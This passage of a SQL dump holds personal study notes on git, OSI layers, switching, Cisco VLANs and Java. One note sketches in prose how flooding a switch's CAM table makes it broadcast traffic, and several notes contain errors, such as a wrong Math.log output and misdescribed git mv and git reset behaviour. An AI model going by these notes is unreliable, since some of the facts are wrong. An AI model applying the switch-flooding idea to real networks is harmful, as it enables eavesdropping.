machine qui stocke les registres\n	ces reg recoit des instru a decoder sous forme binaire\n	possede aussi compteur qui enchaine les _actions eltr_ dans le rom\nla sortie est donnee au ual, registre interne du microp, circ ext du microp\n',NULL,NULL,'2015-02-22 11:03:26'),(474,'#microc microp -shema_de_base','\n\n                                +---------+\n   bus_de   | |           +-----^------+  |\n    donne   | <---------->|accumulateur|  |\n            | |           +------------+  |\n            | |                           |\n            | |                           |\n            | |          +-----+          |\n            | |          |+---+|<---------+\n            | <--------->||ual||\n            | |    ^     |+---+|\n            | |    |     +-----+\n            | |    |      ^^^^^\n            | |    |      |||||\n            | |    |    +-+++++------+\n            | |    |    +-sequenceur |\n            | |    |    +------------+\n            | |    |                           +------------------+\n            | |    +-------------------------->|vers autres microp|\n                                               +------------------+\n\n',NULL,NULL,'2015-02-22 11:03:26'),(475,'#linux -install #bin',NULL,'./file00.bin',NULL,'2015-02-22 11:03:26'),(476,'#cisco #pt #device -ls -router -switch','\nthose are some devices which are used in pt\n\nsw:\n	2950-24\n	2950T\n	2960\n	Generic(Switch-PT)\n	Generic(Switch-PT-Empty)\n	3560-24PS\n	Generic(Bridge-PT)\n\nrouter:\n	1841\n	2620XM\n	2621XM\n	2811\n	Generic(Router-PT)\n	Generic(Router-PT-Empty)\n',NULL,NULL,'2015-02-05 06:55:30'),(477,'#osi -function','\nhttp://www.webopedia.com/quick_ref/OSI_Layers.asp\n\n#physic\ntool:hub\n        _conveys_ the bit_stream through the network and mechanical level\n        deals with hardware\n        \'\n        contient toutes les spécifications électriques, mécaniques pour l\'activation, la maintenance entre le lien physique et le système.\n	Par exemple, les distances de transmission, le voltage, les connecteurs physiques, le type de média\n	\'\n	some_protocols: rs232, atm, fastEthernet	\n\n\n#data_link(3, prot)\ntool:switch\n        encode|decode packets into binaries\n        handles errors from physical_layer\n        provides transmission protocol knowledge\n        \'\n        some_protocols: FDDI, ATM, IEEE 802.5/ 802.2, IEEE 802.3/802.2, HDLC, Frame Relay, PPP\n\n#network(4)\ntool:router\n        release the data of packets\n        provides switching and routing technologies, \n                creating logical paths, known as virtual circuits, for transmitting data from node to node\n        Routing and forwarding are functions of this layer, as well as\n                internetworking\n                congestion_ctrl\n        \'\n        some_protocols: IP, IPX, DDP\n\n#transport(2)\n        responsible for reassembling and reordering the packets\n        It ensures complete data transfer between end-to-end sys\n\n#session(1)\n        conveys how data transmission will be started, finished, controlled\n\n#presentation(1)\n        sets the use of encryption\n        sets the format of data\n\n#application(1)\ntool: proxy\n        deals of setting headers on packet to be sent\n\n',NULL,NULL,'2015-02-22 17:34:42'),(478,'#git -create #repo -init','\ncd /path/somewhere\ngit init\n',NULL,NULL,'2015-02-22 11:03:26'),(479,'#git -get#help','\ngit help cmd00\nex:\n	git help stash\n',NULL,NULL,'2015-02-03 06:36:21'),(484,'#git *reset -hard -delete-commit',NULL,NULL,'\nwhen u do reset -hard\n	ur commit will change \n	-\n	and\n	-\n	ur file will change\n\nex:\n	git reset --hard eN4qUe88654w4\n','2015-02-02 14:52:29'),(481,'#git -cancel-commit by +revert',NULL,NULL,'\nto delete a commit that u did by mistakes\nex:\n	git revert cb8144f5c61\n\nthis will create a new commit which will revert the previous commit\n','2015-02-02 14:06:51'),(483,'#git -cancel-commit by +reset',NULL,NULL,'\nto delete a commit that u did by mistakes\nex:\n	git reset cb8144f5c61\n\nthis will delete completely the previous commit\nbut note that the work in the file wasn_t modified at all\n','2015-02-02 14:10:15'),(485,'#git *reset -hard -delete-commit-the_last',NULL,NULL,'\nwhen u do reset -hard\n	ur commit will change \n	-\n	and\n	-\n	ur file will change\n\nex:\n	git reset --hard ORIG_HEAD\n','2015-02-02 14:53:27'),(486,'#git -commit-a .without_add_files_in_repo__commit_immediately',NULL,NULL,'\nif u modified files in a repos\nu want to commit the modification but without adding files in the commit like:\n	git add file00\nu can commit immediately without adding the file_modified with:\n	git commit -a -m \"comment in the commit\"\n','2015-02-02 14:58:32'),(487,'#git -remove_files_in_repo_ONLY -untrack',NULL,NULL,'\nto remove file00 in repo only\n	which means that file00 will not be tracked by git no longer\n$ git mv file00 file01\n\nwhen u do git status\n	u will not see file00 and file01 no longer\n','2015-02-02 17:39:28'),(488,'#git -list-files *ls-files',NULL,NULL,'\ngit ls-files\n	to list all files which are tracked by git\n	-- this is a part of git status\n','2015-02-02 15:12:32'),(489,'#git *log -see_the_comment_and_some_info_about_commit',NULL,NULL,'\ngit log -n 4\n	will show the information about the 4last_commit\n','2015-02-02 15:14:59'),(490,'#git -commit -amend',NULL,NULL,'\nu did a commit\nu did modification\nu want the last modification will be the last commit\nthen:\n	git commit -a --amend\n','2015-02-02 15:17:25'),(491,'#git -change*branch -checkout',NULL,NULL,'\nu are in branch_master\nu want to go in branch00, then:\n	git checkout branch00\n','2015-02-02 15:37:23'),(494,'#git -merge -intro',NULL,NULL,'\nu have this schema:\n                       +--------+     +--------+       +--------+       \n               +------>|        +---->|        +------>|        |  	     branch00\n               |       +--------+     +--------+       +--------+       \n               |\n          +----+---+     +--------+              \n          |        +---->|        |              \n          +--------+     +--------+              \n\n          |                       |\n          +------+----------------+\n                 +-- branch_master\n\nmerge will bring the modification in branch00 to the branch_master\n	bcz the work in branch00 is ok and ready to be added in branch_master\n	to do that:\n		u_re in branch00\n		go to branch_master [plz do not forget this]\n		do the merge\n			git merge branch00\n\nnow we have this one:\n   \n                       +--------+     +--------+       +--------+            +--------+ \n               +------>|        +---->|        +------>|        +----->>+--->|        +-> \n               |       +--------+     +--------+       +--------+       ^    +--------+ \n               |                                                        |\n          +----+---+     +--------+                                     |\n          |        +---->|        +-------------------------------------+\n          +--------+     +--------+              \n\n          |                       |\n          +------+----------------+\n                 +-- branch_master\n\n\nlike this exactly:\n        \n                                 +- branch00\n                       +---------+------------------------------+\n                       |                                        |\n\n                       +--------+     +--------+       +--------+            +--------+ \n               +------>|        +---->|        +------>|        +       +--->|        +-> \n               |       +--------+     +--------+       +--------+       ^    +--------+ \n               |                                                        |\n          +----+---+     +--------+                                     |\n          |        +---->|        +-------------------------------------+\n          +--------+     +--------+              \n\n          |                       |\n          +------+----------------+\n                 +-- branch_master\n\nwe can see that we can delete branch00 by\n    git branch -d branch00\n','2015-02-02 16:15:58'),(493,'#git -branch -intro',NULL,NULL,'\nafter creating a branch with:\n	git branch branch00\nu did some commits in branch00\nu went back in branch_master\nand u went back in branch00,\nso u have this following schema:\n\n\n                                    +-- branch00   \n                       +------------+---------------------------+\n                       |                                        |\n\n                       +--------+     +--------+       +--------+       \n               +------>|        +---->|        +------>|        |       \n               |       +--------+     +--------+       +--------+       \n               |\n          +----+---+     +--------+              \n          |        +---->|        |              \n          +--------+     +--------+              \n\n          |                       |\n          +------+----------------+\n                 +-- branch_master\n\nwe can see that branch00 is further than branch_master\n	we can do 2things:	\n		merge\n		rebase\n\n','2015-02-02 15:56:53'),(495,'#git -file_get_back_to_commit00 -checkout',NULL,NULL,'\ngit checkout 3467xshg file00\n','2015-02-02 16:30:48'),(496,'#git -get_back_all_repo_to_commit00 -checkout',NULL,NULL,'\ngit checkout r34xds5\n	::::warning:::: remember that u_re in a ghost_branch\n	check that with this\n		git branch\n	u _must_ go back in branch_master\n		git checkout master\n','2015-02-02 16:30:48'),(497,'#git -create-branch-after-going-back-in_commit00 -checkout',NULL,NULL,'\nu_re in b_master\nu want to go back in r357xce446 and create a branch automatically\n	git checkout r357xc -b testing\nimmediately u_ve this next:\n\n            +-----+         +------+        +-------+\n            |     +-------->|      +------->|       |\n            +--+--+         +------+        +-------+\n               |             +------+\n               +-------------+      |\n                             +------+\n\n               |                    |\n               +----+---------------+\n                    +- this is done just after the prev cmd\n\n','2015-02-02 16:40:19'),(498,'#git *log -long-list',NULL,NULL,'\ngit log file00\n	to get all _commits_ which modified file00\n\ngit log --since=\"2 days ago\"\n	very explicit\n	OR\n	git log --since=2.days\n\ngit log file00 --since=\"2 days ago\"\n	explicit\n\ngit log --since=\"2 years 1 day 3 minutes ago\"\n	explicit\n\ngit log -n 4 -p\n	to get some info about the 4last commits\n	-p is done to get the modification in each file\n	is the same as:\n		git log -p -n 4\n\ngit log --stat\n	to get the sumUp of the information about the commit\n\ngit log --pretty=oneline\n	this the out\n		ca82a6dff817ec66f44342007202690a93763949 changed the version number\n		085bb3bcb608e1e8451d4b2432f8ecbe6306e7e7 removed unnecessary test code\n		a11bef06a3f659402fe7563abf99ad00de2209e6 first commit\n\ngit log --pretty=format:\"%h — %an, %ar : %s\"\n	out:\n		ca82a6d — Scott Chacon, 11 months ago : changed the version number\n		085bb3b — Scott Chacon, 11 months ago : removed unnecessary test code\n\ngit log --pretty=format:\"%h %s\" --graph\n	out:\n		* 2d3acf9 ignore errors from SIGCHLD on trap\n		*\n		5e3ee11 Merge branch \'master\' of git://github.com/dustin/grit\n		|\n		| * 420eac9 Added a method for getting the current branch.\n		* | 30e367c timeout code and tests\n		* | 5a09431 add timeout protection to grit\n		* | e1193f8 support for heads with slashes in them\n		|/\n		* d6016bc require time for xmlschema\n		*\n		11d191e Merge branch \'defunkt\' into local\n\n\n','2015-02-15 15:50:13'),(499,'#git -long-list *log +--pretty=format:XXXXXXX',NULL,NULL,'\nex:\n	git log --pretty=format:\"%h %s\" --graph\n	\nOption Description du formatage\n%H Somme de contrôle du commit\n%h Somme de contrôle abrégée du commit\n%T Somme de contrôle de l\'arborescence\n%t Somme de contrôle abrégée de l\'arborescence\n%P Sommes de contrôle des parents\n%p Sommes de contrôle abrégées des parents\n%an Nom de l\'auteur\n%ae e-mail de l\'auteur\n%ad Date de l\'auteur (au format de l\'option -date=)\n%ar Date relative de l\'auteur\n%cn Nom du validateur\n%ce e-mail du validateur\n%cd Date du validateur\n%cr Date relative du validateur\n%s Sujet\n\n','2015-02-02 17:35:51'),(500,'#git -long-list *log --XXXXXXX',NULL,NULL,'\nOption Description\n-p Affiche le patch appliqué par chaque commit\n--stat Affiche les statistiques de chaque fichier pour chaque commit\n--shortstat N\'affiche que les ligne modifiées/insérées/effacées de l\'option --stat\n--name-only Affiche la liste des fichiers modifiés après les informations du commit\n--name-status Affiche la liste des fichiers affectés accompagnés des informations d\'ajout/\nmodification/suppression\n--abbrev-commit N\'affiche que les premiers caractères de la somme de contrôle SHA-1\n--relative-date Affiche la date en format relatif (par exemple \"2 weeks ago\" : il y a deux semaines) au lieu du\n--graph Affiche en caractère ASCII le graphe de branches et fusions en vis-à-\nvis de l\'historique\n--pretty=<format>Affiche les commits dans un format alternatif. Les formats incluent oneline, short, full\n','2015-02-02 17:35:51'),(501,'#git -long-list *log -XXXX',NULL,NULL,'\nex:	git log --since=2.weeks\n\nOption Description\n-(n) N\'affiche que les n derniers commits\n--since, --after Limite l\'affichage aux commits réalisés après la date spécifiée\n--until, --before Limite l\'affichage aux commits réalisés avant la date spécifiée\n--author Ne montre que les commits dont le champ auteur correspond à la chaîne passée en argument\n--committer Ne montre que les commits dont le champ validateur correspond à la chaîne passée en argument\n\nex: got log --since=2.weeks --until=1.weeks','2015-02-15 15:49:09'),(502,'#network -cable# #rj45 -color','\ndroit\n	tx+     orange/white-tracer\n	tx-     orange\n	rx+     green-white_tracer\n	        blue\n	        blue-white_tracer\n	rx-     green\n	        brown-white_tracer\n	        brown\n\ncrossed:\n	orange/white-tracer		             green-white_tracer\n	orange                               green              \n	green-white_tracer                   orange-white_tracer\n	blue                                 brown-white_tracer\n	blue-white_tracer                    brown\n	green                                orange\n	brown-white_tracer                   blue\n	brown                                blue-white_tracer\n	\n',NULL,NULL,'2015-02-03 04:31:03'),(503,'#network -topology_intro','\n3types ppl:\n	bus\n            +----+    +------+\n            | pc |    |  pc  |\n            +--+-+    +--+---+\n               |         |\n          -----+---+--+--+--------     \n                   |  |\n              +----+  +-----+\n              | pc |  | pc  |\n              +----+  +-----+\n\n\n	anneau\n             \n                        +------+\n                        |  pc  |\n          +---+         +----+-+\n          | pc+<--+          |\n          +---+   v  *******<-  \n                   **       **      +---+\n      +----+      *           * <-->+p c|\n      | pc +<---->*           *     +---+\n      +----+      *           * \n                   **       **   +-----+\n        +---+<-----> ******* <-->+ pc  |\n        |p c|        ^           +-----+\n        +---+        |\n                  +--+-+\n                  | pc |\n                  +----+\n\n\n	etoile\n            \n                                +--+                +--+\n                                |PC|<--+       +--->|PC|\n                                +--+   |       |    +--+\n                                       v       v\n                     +--+            +-+-------+---+        +--+\n                     |PC|<---------->+ S W I T C H +<------>|PC|\n                     +--+            +--+---+---+--+        +--+\n                                        ^   ^\n                                 +--+   |   |   +--+\n                                 |PC|<--+   +-->|PC|\n                                 +--+           +--+ \n',NULL,NULL,'2015-02-03 04:49:23'),(509,'#network -protocol -ethernet -layer_data_link -layer2','\nau couche2, on parle de trame\non doit envoyer:\n	@mac_emetteur\n	@mac_destinataire\n	msg\n\n\nformat du trame dans couche_datalink, prot ethernet\n\n       +------------+------------+-------------------------+--------------+------+\n       |@mac_cible  |  @mac_src  | prot_from_network_layer |     DONNEE   |  crc |\n       +------------+------------+-------------------------+--------------+------+\n\n       |            |            |                         |              |      |    --+\n       +---+--------+---+--------+--+----------------------+--------------+-+----+      +-- 18bytes pour l_entete\n           +--6bytes    |           +--2bytes                               +-4bytes  --+\n                        +--6bytes\n       |                                                                         |\n       +------64  bytes  minimum----  1518 bytes maximum-------------------------+\n',NULL,NULL,'2015-02-03 05:26:53'),(506,'#network -@mac -intro','\ntt carte reseau possede un @mac\nles cartes reseaux se trouvent dans bcp de materiels\n	pc\n	routeur\n	....\n',NULL,NULL,'2015-02-03 05:08:04'),(507,'#network -datalink -layer -intro(1)','\ndatalink sumup\n	encode|decode\n	detect error\n		datalink verra les erreurs mais ne les corrigerait pas\n	provide info for transmission\n\n	protocol:\n		ethernet\n',NULL,NULL,'2015-02-03 05:10:23'),(508,'#network -@mac -intro','\n48bits\ntt carte reseau possede un @mac\nles cartes reseaux se trouvent dans bcp de materiels\n	pc\n	routeur\n	....\n',NULL,NULL,'2015-02-03 05:10:23'),(510,'#network -switch -protocol -cam_table','\nswitch va lire @mac_target\nswitch possede table_cam\n\ntable_cam\n	relie port - @mac_pc\n	ex:\n		Port 	@MAC\n		------|---------\n		1 		@MAC 23\n		2 		@MAC 24\n		3 		@MAC 25\n	\'\n	table_cam va etre mis_a_jour au cours du tps\n		au debut il est vide\n	\'\n	\'\n	ex:  table_cam a t=0 est vide\n         nous avons le reseau suivant\n           \n               +------+\n               |switch|\n               +-+-+-++\n     +----+      | | |         +-------+\n     |pc24+------+ | +---------+ pc25  |\n     +----+        |           +-------+\n               +---+----+\n               |  pc23  |\n               +--------+\n	\n		si pc23 envoie packet a pc25 or table_cam vide pour le switch\n			sw lit @macSrc du packet\n				sait que qu_il vient du pc23\n				modifie table_cam\n					relie @mac_pc23 a certain_port du sw\n				table_cam devient\n					port		@mac\n					--------|------------\n					2			@mac_pc23\n\n			@mac_cible pas dans table_cam\n				sw va envoyer a tt le monde le packet et seule la cible va repondre\n					apres, il y a aussi mis_a_jour du table_cam\n				table_cam devient\n					port		@mac\n					--------|-------------\n					2			@mac_pc23\n					3			@mac_pc25\n\n\ntable_cam possede un ttl\n\n',NULL,NULL,'2015-02-03 05:43:34'),(514,'#network -hack-switch','\nfaut lire:	n_t(509, 510)\n\non envoie packet sur un macXX a travers sw00 dont macXX n_existe pas\n	switch va envoier packet sur tout les ports d_une facon infini\n\non envoie _bcp_packet dont src sont tjr different sur le sw\n	table_cam du sw00 va etre enorme,\n	lecture du table_cam va etre tres lent\n	sw va plus lire table_cam\n	sw va envoier les packets sur tout les ports\n',NULL,NULL,'2015-02-03 06:49:29'),(515,'#network -csma_cd','\ncsma_cd=carrier sense multiple access/collision detection\ncsma_cd est utilise qd il y a collision\ncollision=qd 2pc parlent en meme tps\n\ns_il y a collision\n	les 2pc se taisent\n	pcA parle apres tp00 aleatoire\n	pcB parle apres tp01 aleatoire\n',NULL,NULL,'2015-02-03 06:49:29'),(513,'#network -table_cam -switch -ttl','\nil y a bcp de colonnes dans la table_cam du switch\nune est ttl\ndonc:\n     port	@mac	ttl\n     ---------------------\n    	1    mac01   35s\n    	2    mac02    74s\n	\n	qui veut dire que \n		dans 36s si materiel_mac01 n_a pas parlee table_cam devient\n        port	@mac	ttl\n        -----|---------|----\n        2       mac02     74s\n        \'\n        si materiel_mac02 parle, son_ttl va augmenter\n\n',NULL,NULL,'2015-02-03 06:24:46'),(516,'#network -csma_cd -switch','\nsupposons:\n                 +-----------+ \n          +------+s w i t c h+-----+\n          |      +--+--------+     |\n          |         |              |\n          |         |              |\n       +--+-+       |           +--+-+\n       |pc01|     +-+---+       |pc03|\n       +----+     +-pc02|       +----+\n                  +-----+\n\n  si pc01 et pc02 parle en meme tps a pc03\n    sw va d_abord enregistrer les msg \n    va envoier d_abord une et puis apres l_autre\n\navec switch, il n_y a plus de csma_cd\nla carte reseau qui n_utilise plus de csma_cd s_appelle\n    carte_reseau en mode full duplex\n    le contraire est carte_reseau fonctionnant sur __half-duplex__\n',NULL,NULL,'2015-02-03 06:59:42'),(517,'#network -hub -full_duplex','                      \ntt machines connectees sur un hub doit etre configurer en half_duplex\nhub est tjr en mode half_duplex\ncarte reseau de nos jours sont intelligents\n    savent qd se mettre en mode full_duplex | half_duplex\n\nsupposons:+--------+\n          | H U B  |\n          ++---+--++  \n           |   |  +------------+\n         +-+   |               |\n     +---++  +-+--+          +-+---+\n     |pc01|  |pc02|  ....... |pc100|\n     +----+  +----+          +-----+\n\n\nles pc qui sont connectees sur hub sont consideres comme pc en topologie _bus_\nsi 2pc parlent en mm tp\n    il y a collision\nsupposons il y a pcX qui est configurer en full_duplex et les autres en half_duplex\n    pcX va tjr parler \n    mais les autres va attendre que pcX tait pour pouvoir parler\n        donc tt le reseaux est bloquer\n',NULL,NULL,'2015-02-03 07:10:19'),(518,'#mysql -create-table from_select_on_table00',NULL,NULL,'\ncreate table table01 select * from table00\n','2015-02-03 08:08:41'),(519,'',NULL,NULL,'','2015-02-03 08:09:22'),(520,'#cisco *vlan -intro(1)',NULL,NULL,'\nlet_s suppose\n\nby default in switch:\n    all pc are connected in vlan1\n\n\n                          +--------------------------------------------+\n                     +----+--+   fa0/3                                 |\n        fa0/1 +------+  s w  +------------+                            |\n              |      +----+--+            |                            |\n              |           |fa0/2          |                            |\n              |           |               |                            |\n              |           |               |                            |\n           +--+---+       |            +--+-+     -+                   |\n           | pc01 |       |            |pc03|      +- in vlan1         |\n           +------+     +-+--+         +----+     -+                   |\n                        |pc02|                                         |\n                        +----+                                         |\n                                                                       |\n           |                 |                                         |\n           +--+--------------+                                         |\n              +- vlan2                                                 |\n                                                                       |\n                                                                       |\n                                                                       |\n                                                                       |\n                                                             -----+    |\n    create vlan2                                                  |    |\n        > en                                                      |    |\n        # conf t                                                  |    |\n        (config)# vlan 2                                          |    |\n        (config-vlan)# name vlan2                                 |    |\n        (config-vlan)# exit                                       |    |\n        (config)#                                                 |    |\n                                                                  |    |\n    go to fa0/1                                                   |    |\n        (config)# interface fa0/1                                 +----+     \n        (config-int)#                                             |\n    put the port(fa0/1) in vlan2                                  | \n    switch the fa0/1 to mode access                               |\n        (config-int)# switchport mode access                      |\n    put the fa0/1 in vlan2                                        |\n        (config-int)# switchport access vlan 2                    |\n                                                                  |\n    go to fa0/2                                                   |\n    conf this port like the previous in fao/1                                         |\n                                                             -----+\n\n\n\n\n\n\n','2015-02-05 06:58:54'),(521,'#network -data-form #tcp_ip -osi','\n\n                                 tcp_ip                        osi\n          +--                +-------------------+-----------+---------------+\n          |                  |                   |           |-------------- |\n          |                  |                   |   apdu    |application    |\n +------+ |                  |                   |           |-------------- |\n |couche| |                  |                   |   ppdu    |presentation   |    data_unit\n |      | |    message       | application       |           |-------------- |\n |      | |                  |                   |   spdu    |session        |\n | hote | |   ---------------+-------------------+-----------+-------------- +--------------\n +------+ |                  |                   |           |-------------- |\n          |    segment       | transport         |   tpdu    |transport      |    segment\n          |\n-+--------+------------------+-------------------+-----------+-------------- |\n +------+ |    datagram      | internet          |           |network        |    packet\n |couche| |   ---------------+-------------------+-----------+-------------- |\n |      | |                  |                   |           |data_link      |    frame\n |medias| |    frame         | network interf    |           |-------------- |\n |ou    | |                  |                   |           |physic         |    bit\n |reseau| +------------------+-------------------+-----------+---------------+-------------- \n +------+\n              |              |                                                |              |\n              +--+-----------+                                                +-+------------+\n                 +-name of data                                                 +- name of data\n\n\n',NULL,NULL,'2015-02-03 09:05:31'),(522,'#network -data-form_pdu #tcp_ip -osi','\n                  +-------- P D U ---------------+\n                  |                              |\n\n                  +----------+-------------------+\n                  |  header  |       S D U       |\n                  +----------+-------------------+\n\nex:   pour la couche transport\n    sdu est\n          +--+--+--+-------+\n          |sh|ph|ah|dataIni|\n          +--+--+--+-------+\n    \n    pdu est\n       +--+--+--+--+--------+\n       |th|sh|ph|ah|dataIni |        \n       +--+--+--+--+--------+\n\n\n osi                                            +-------+\n---------------+                                |dataIni|\n-------------- |                            +---+-------+\napplication----+---                         |ah |dataIni|         apdu\n-------------- |                       +----+---+-------+\npresentation   |                       | ph |__ |dataIni|         ppdu\n-------------- |                    +--+----+   |       |\nsession        |                    |sh|___ |___|dataIni|         spdu\n-------------- +                    |  |    |   |       |\n-------------- |              +-----+--+    |   |       |\ntransport      |              | th  |  |    |   |dataIni|         tpdu\n               |              |     |  |    |   |       |\n-------------- |          +---+-----+  |    |   |       |\nnetwork        |          |nh |     |  |    |   |dataIni|         packet\n-------------- |     +----+---+-----+--+----+---+-------+------+\ndata_link      |     |  dh|   |     |  |    |   |dataIni|  df  |  frame\n-------------- |     +----+---+-----+--+----+---+-------+------+\nphysic         |        010011110111010101010101010010010001011   bits\n---------------+ \n\n              \n              \n              \n\n\n',NULL,NULL,'2015-02-03 09:29:01'),(523,'#java -print -echo',NULL,NULL,'System.out.println(\"ur text\");','2015-02-03 15:16:19'),(524,'#java -main',NULL,NULL,'\nmain should be inside:\n	public static void main(String[] args){\n	//everything start here\n	}\n','2015-02-03 15:16:19'),(525,'#java -function not-static',NULL,NULL,'public int add(int a, int b){\n	return a+b;\n}','2015-02-03 15:24:52'),(526,'#java -power_10',NULL,NULL,'always double\n	double a = 1E3;\n	// a = 1000\n','2015-02-03 15:30:03'),(528,'#java -power_10 -(int)E(int)',NULL,NULL,'always double\n	double a = 6;\n	// a = 6.0\n','2015-02-03 15:32:37'),(531,'#java -convert-Double-to-double vice_versa',NULL,NULL,'\n	Double d = new Double(5.76);	// double to Double\n	double d01 = d.doubleValue();\n','2015-02-03 15:37:55'),(530,'#java -class_enveloppe',NULL,NULL,'\nclasse_enveloppe                type_primitif\n-------------------------------------\nInteger                                 int\nDouble                                  double\n\n##end_array\nex:\n    Double d = new Double(5.76); // is the same as the below\n    Double d = 5.76;\n\n##end_ex\n','2015-02-17 09:28:02'),(534,'#java -basic -switch -case',NULL,NULL,'\n	int a=0;\n	switch(a){\n		case 0:\n			System.out.println(\"0a\");\n			System.out.println(\"0b\");\n			break;\n		case 1:\n			System.out.println(\"1a\");\n			System.out.println(\"1b\");\n			break;\n		default:\n			System.out.println(\"def_a\");\n			System.out.println(\"def_b\");\n	}\n','2015-02-03 16:33:53'),(533,'#java -basic -if -else-if',NULL,NULL,'\n	int a = 0;\n	if(a > 10){\n		System.out.println(\"inf 10\");\n	}else if(a == 0){\n		System.out.println(\"eg 10\");\n	}\n	else{\n		System.out.println(\"sup 10\");\n	}\n','2015-02-03 16:31:45'),(535,'#java -basic -switch -case',NULL,NULL,'\n	int a=3;\n	for (int i = 0; i < a; i++) {\n		System.out.println(i);\n	}\n\n	out:\n		0\n		1\n		2\n','2015-02-03 16:36:47'),(536,'#java -basic -switch -case',NULL,NULL,'\n    double a=Math.log(Math.E);\n	System.out.println(a);\n\n	out:\n		2.718281828459045\n','2015-02-17 08:28:43'),(537,'#java -introduction -hashcode','\nevery objects have a value of hashcode.\nto get it:\n	int a = obj00.hashcode();\n',NULL,NULL,'2015-02-03 16:54:40'),(540,'#java -modificateur -long-list','\nModificateur  | Interface           |    Classe       | Classe imbriquée  | Champ         |         Méthode\n -------------+---------------------+-----------------+-------------------+---------------+----------------------------\npublic        |          Accessible depuis n’importe quelle classe.\n -------------+--------------------------------------------------------------------------------------------------------\nprotected     |          Accessible uniquement depuis cette classe et ses sous-classes.\n--------------+--------------------------------------------------------------------------------------------------------\nprivate       | 	Accessible uniquement depuis cette classe.\n -------------+-----------------------------------------------------------+-----------------------+--------------------\nabstract      |     Contient au moins une                                 | Sans objet            |   Son implémentation\n              |                                                           |                       |   n’est pas définie ; seul\n              |                                                           |                       |   sa signature et son type\n              |                                                           |                       |   de renvoi sont déclarés.\n              |         méthode abstract.                                 |                       |\n--------------+---------------------+-------------------------------------+-----------------------+--------------------\nfinal         |     Sans objet      |       Ne peut pas être décomposée   | Sa valeur ne peut pas | Ne peut pas être\n              |                     |       en sous-classe                | être modifiée.        | remplacée par une \n              |                     |                                     |                       | sous-classe.      \n -------------+---------------------+-----------------+-------------------+-----------------------+--------------------\nstatic        |     sans_objets     |       sans objet|  n_est pas une    |  une seule instance   | Une seule instance\n              |                     |                 |   classe interne  |  existe pour tout les | existe pour tous les\n              |                     |                 |                   |  objets de la classe  | objets de la classe.\n--------------+---------------------+-----------------+-------------------+-----------------------+---------------------\n                                            \n\n',NULL,NULL,'2015-02-03 17:48:52'),(541,'#java my-architecture','                                      \nnot yet done\n\nwhat I_ll do in my prg:                 \n    testing stuffs of code              \n    doing my real code                  \n                                        \n                                        \n             +-----+                       \n +-----------+-----+                   \n |  study_java     |                   \n +--+--------------+                   \n    |         \n    +---Point \n    +---Person',NULL,NULL,'2015-02-03 18:04:50'),(544,'#java -string -compare','\nString a=\"test\";\nString b=\"test\";\n\nif(a.equals(b)){\n	sop(\"this is ok\");\n}\n\nif (a == b) {\n	sop(\"do not do this at home\");\n}\n',NULL,NULL,'2015-02-03 18:49:40'),(545,'#java -long-list -Math','\nsome method and constant about class_Math\n-----------------------------------------\ndouble E=2.7182818284590452354\ndouble PI=3.14159265358979323846\ndouble abs(double x)\ndouble atan(double x)\ndouble ceil(double x)\ndouble cos(double x)\ndouble exp(double x)\ndouble floor(double x)\ndouble log(double x)\ndouble max(double x, double y)\ndouble min(double x, double y)\ndouble pow(double x, double y)\nsynchronized double random()\nlong round(double x)\ndouble sin(double x)\ndouble sqrt(double x)\ndouble tan(double x)\n',NULL,NULL,'2015-02-03 19:24:21'),(546,'#java -Scanner -interactive -read-string -keyboard','\n	Scanner s = new Scanner(System.in);\n	System.out.print(\"str: \");\n\n	String t = s.nextLine();\n	System.out.println(t);\n',NULL,NULL,'2015-02-03 19:29:20'),(777,'#gcac -flux -stream','\nflux: \n    de sortie \n        désigne n’importe quel \"canal\" susceptible de recevoir de l’information sous forme d’une suite d’octet\n        Il peut s’agir d’un périphérique d’affichage\n            System.out.println();\n        il peut s_agir d_un fichier\n        xxxxxxxxxxxxxxxxxxx connection a un site distant\n    d_entree\n        delivre de l_info sous une forme de suite d_octet\n        peut etre:\n            un périphérique de saisie\n                clavier\n            fichier\n            connection a un memo_centrale\n\n#end_flux\n\njava distingue \n    flux binaire  \n    flux texte\n=========================================\nau premier cas(binaire), information est transmise sans modification de la mémoire au flux\n    ou au flux a la memo\nau second cas(texte), l_info subit une transformation(formatage)\n    le meth \"println()\" realise ce genre de formatage\n',NULL,NULL,'2015-02-20 23:50:29'),(543,'#java -string -long-list',NULL,NULL,'\nthe method here inside the class String:\n	length()		:int\n	charAt(5)		:char\n	indexOf(\'E\')	:int\n	startsWith(\"DE\"):boolean\n	endsWith(\"DE\")	:boolean\n	replace(\'a\', \'b\'):void\n	substring(4, 7)	:String\n	toLowerCase()	:String\n	trim()	\nString s=\"ABCDEFG\";\ns = s + \"HIJK\";\n	//	s = ABCDEFGHIJK\ns += \"LMNOP\";\n	// explicit\nSystem.out.println(\"s.length() = \" + s.length());\n	// 16\n	//	the number of char in s\nSystem.out.println(\"s.charAt(6) = \" + s.charAt(6));\n	// ABCDEFGHIJKLMNOP\n	// 0123456789012345\n	//			 111111\n	// out:\n	//	G\nSystem.out.println(\"s.indexOf(’G’) = \" + s.indexOf(’G’));\n	//	6\nSystem.out.println(\"s.indexOf(’Z’) = \" + s.indexOf(’Z’));\n	//	-1\n	//	-1 is the value if the char is not in\nSystem.out.println(\"s.indexOf(’G’,8) = \" + s.indexOf(’G’,8));\n	//	-1\nSystem.out.println(\"s.indexOf(\"GHIJ\") = \" + s.indexOf(\"GHIJ\"));\n	//	6\n\nif (s.startsWith(\"DE\"))\n	System.out.println(\"s.startsWith(\"DE\")\");\n	//	none\nelse System.out.println(\"s ne commence pas par \"DE\"\");\n	//	yep\n\nif (s.startsWith(\"DE\",3))\n	System.out.println(\"s.startsWith(\"DE\",3)\");\n	//	yep\nelse System.out.println(\"s ne commence pas par \"DE\" après 3 chars\");\n	//	nope\n\nif (s.endsWith(\"IJK\"))\n	System.out.println(\"s.endsWith(\"IJK\")\");\n	//	nope	\nelse System.out.println(\"s ne finit pas par \"IJK\"\");\n	//	yep\n\nif (s.endsWith(\"NOP\"))\n	System.out.println(\"s.endsWith(\"NOP\")\");\n	//	yep\nelse System.out.println(\"s ne finit pas par \"NOP\"\");\n	// nope\n\ns += \"DABBADABBADO\";\n	//s = ABCDEFGHIJKLMNOPDABBADABBADO\n	//	  0123456789012345678901234567\n	//				111111111122222222\n\ns = s.replace(’B’,’T’);\n	// replace B by T\n\ns = s.substring(7,10);\n	// take the 7th but do not take the 10th\n	//	s = HIJ\n\ns = s.toLowerCase();\n	//	explicit\n\ns = \" W XY Z \";\n	//	to replace completely\n\ns = s.trim();\n	// to remove all space which are in first_place and in the last_place\n	//	s = \"W XY Z\"\n}\n\n','2015-02-03 